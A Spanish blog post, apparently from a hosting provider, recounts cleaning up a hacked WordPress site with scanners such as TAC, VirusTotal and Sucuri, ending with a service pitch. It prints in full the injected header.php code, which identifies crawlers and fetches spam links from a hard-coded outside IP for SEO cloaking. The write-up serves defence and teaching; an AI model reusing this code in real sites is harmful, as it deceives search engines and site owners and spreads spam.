Cómo detectar y corregir hacks de WordPress – Caso real

En este artículo vamos a comentar cómo solucionamos un caso real de un sitio web en WordPress hackeado con el que nos encontramos recientemente.
Debeis saber que no vamos a mencionar el nombre de la web, simplemente vamos a explicar cómo detectamos el hack y cómo lo solucionamos.

Detectar web hackeada

El cliente detectó que su web había sido hackeada al comprobar que cuando buscaba su web en el buscador de Google, en lugar de mostrar el contenido de la web, mostraba lo siguiente:

Tras darse cuenta de esto, el cliente accedió a su web y comprobó que su web tardaba más de 2 minutos en cargar; esto era debido a otro hack distinto, como veremos más adelante. Pero aparte de eso, no detectó nada extraño.

Corregir hack que ralentiza la web

Antes de empezar a modificar nada, hicimos un backup de la web y nos la llevamos a un servidor de pruebas. Ya comentamos en otro post cómo hacer un backup sin plugins en WordPress.
Como no teníamos acceso por SSH al servidor, realizamos el backup con un plugin llamado All-in-One WP Migration.
Lo hicimos así por ser más rápido al hacer el backup y restaurarlo en el servidor de pruebas. Lee el siguiente artículo si quieres saber cómo realizar un backup con plugins en WordPress.

En el artículo en el que realizábamos una guia sobre cómo arreglar hacks en WordPress, concretamente en el apartado 6, indicamos algunos plugins para analizar la instalación de WordPress, así como otras webs externas que analizan toda la web.
Ya en el servidor de pruebas, instalamos el plugin Theme Authenticity Checker, TAC para abreviar, para comprobar si había código malicioso en alguno de los temas instalados.
En la siguiente imagen vemos que el tema "Twenty Seventeen" tiene código malicioso en el fichero footer.php.

El tema afectado no era este, pero hemos insertado el código malicioso en este tema para mostrarte qué tipo de mensaje mostraba el plugin al detectar el código malicioso.

El código malicioso, que estaba en la primera línea,era el siguiente:

Como podemos observar, en un comentario pone "WordPress SEO Plugin", esto es, que el hack se está intentando hacer pasar por un plugin de SEO. El plugin por el que se intenta hacer pasar es YOAST SEO, cuyo nombre en WordPress es WordPress SEO (basta con mirar la ruta del plugin, "/wp-content/plugins/wordpress-seo" o el fichero "readme.txt" para verlo).

Una vez eliminamos ese trozo de código, la web vuelve a ir a la velocidad normal. Al volver a escanear los temas con el plugin TAC, comprobamos que ya no detectaba ningún código malicioso.

Tras comprobar que eliminamos el hack, implementamos la solución en el servidor de producción.

Corregir hack del buscador

Este es el hack que aparece en la primera imagen, que es el que llamó la atención del cliente.
Lo primero que hicimos, fue comprobar los logs de acceso a la web, para ver si veíamos algo extraño. Y así fue.
Cada vez que actualizábamos la página principal, veíamos que los bots de Bing y de Yandex estaban haciendo un crawl de esa página exacta.

Esto nos puso en alerta, ya que debía haber algún código malicioso más que intentaba enmascararse como un bot legítimo.
Para tratar de localizar el hack, analizamos la web desde la web online de VirusTotal.
Esta web nos permite analizar tanto ficheros individuales como una web entera. Al analizar el fichero aparece lo siguiente:

En la imagen podemos ver que VirusTotal ha encontrado código malicioso en el fichero header.php.
Anque nosotros analizamos la web entera, y se nos indicaba que las cabeceras enviadas a los buscadores eran diferentes de las enviadas a los usuarios, y además se nos mostraba el código de la cabecera, que era algo así:

<a href="enlace1">dfgx</a>|<a href="enlace2">dfgx</a>|<a href="enlace3">dfgx</a>...

El aspecto coincide con lo visto en la primera imagen.

El código es el siguiente:

<?php
$user_agent_to_filter = array(
'#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#',
'#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i',
'#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i','#www\.cys\.ru#i',
'#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i',
'#CFNetwork#i', '#ConveraCrawler#i','#DISCo#i', '#Download\s*note#i', '#FAST\s*MetaWeb\s*Crawler#i',
'#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i',
'#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i',
'#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i',
'#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i',
'#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i',
'#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i',
'#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i',
'#Yandex#i', '#Yanga#i', '#Yeti#i','#msnbot#i',
'#spider#i', '#yahoo#i', '#jeeves#i' ,'#google#i' ,'#altavista#i',
'#scooter#i' ,'#av\s*fetch#i' ,'#asterias#i' ,'#spiderthread revision#i' ,'#sqworm#i',
'#ask#i' ,'#lycos.spider#i' ,'#infoseek sidewinder#i' ,'#ultraseek#i' ,'#polybot#i',
'#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i',
'#charlotte#i', '#ngb#i', '#BingBot#i' ) ;

if ( !empty( $_SERVER['HTTP_USER_AGENT'] ) && ( FALSE !== strpos( preg_replace( $user_agent_to_filter, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT'] ), '-NO-WAY-' ) ) ){
$isbot = 1;
}

if( FALSE !== strpos( gethostbyaddr($_SERVER['REMOTE_ADDR']), 'google'))
{
$isbot = 1;
}

if(@$isbot){

$_SERVER[HTTP_USER_AGENT] = str_replace(" ", "-", $_SERVER[HTTP_USER_AGENT]);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://173.236.65.24/cakes/?useragent=$_SERVER[HTTP_USER_AGENT]&domain=$_SERVER[HTTP_HOST]");
$result = curl_exec($ch);
curl_close ($ch);

echo $result;
}
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
<head profile="http://gmpg.org/xfn/11">
<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
<meta http-equiv="X-UA-Compatible" content="IE=edge"/>

Lo que hace el código es comprobar si el contenido lo está leyendo un bot o un usuario. Si es un bot, envía en la cabecera un montón de enlaces con spam, y a su vez altera las cabeceras de la conexión haciendo creer al usuario que se trata de un bot legítimo haciendo un crawl de la web.
Todo este código va antes del <!DOCTYPE HTML>, que es la primera línea de cualquier fichero .html.

Tras eliminar este código del hack, volvimos a analizar la web en VirusTotal, que nos indicaba que ya no había ningún tipo de hack.
Para asegurarnos, analizamos la web con otras webs similares a VirusTotal, que además ya comentamos en el artículo sobre arreglar hacks del que ya hemos hablado. Estas web son Is it hacked? y Sucuri SiteCheck.
Ninguna de ellas detectó nada.

Lo último que resta es esperar a que los buscadores vuelvan a hacer un crawler de la web para corregir los resultados de las búsquedas.
Para agilizar el proceso, podemos solicitar a Google que vuelva a hacer el crawl de la web utilizando Webmasters Tools de Google. Para ello hay que ir a Rastreo > Explorar como Google.
Al igual que Goole, Bing también ofrece una herramienta similar con la que puedes solicitar que Bing vuelva a hacer el crawl de la web.

Conclusión

Como hemos visto, hay muchas herramientas disponibles para comprobar si una web ha sido hackeada, y en función de estas herramientas podemos corregir dicho hack. Si tenemos acceso por FTP podremos corregir dicho hack, aunque será más fácil y rápido hacerlo si tenemos acceso por SSH, puesto que podremos hacer cualquier tipo de prueba más rápido y detectar más fácilmente cualquier patrón que indiquemos.
También es importante que utilicemos varios métodos, ya que como hemos podido comprobar, ambos hacks estaban relacionados con el tema activo, pero el plugin TAC sólo detectó uno de los hacks.
Lo más importante es que si hackean tu web, no entres en pánico. Siguelas indicaciones que comentamos en el artículo ya mencionado para arreglar hacks en WordPress.

También debes hacer backups de tu web de forma regular, pues nunca se sabe cuándo los necesitarás.

Es imposible tener la certeza de que no vas a ser hackeado, pero si tienes tu dominio alojado con nosotros, tendrás una serie de medidas de seguridad extra para evitar en la medida de lo posible que tu dominio sea hackeado.

Si tu web ha sido hackeada, puedes contratar nuestros servicios y nos encargaremos de arreglar el hack al migrar tu dominio a nuestros servidores. También nos encargaremos de realizar backups de tu sitio web de forma regular para prevenir cualquier incidencia.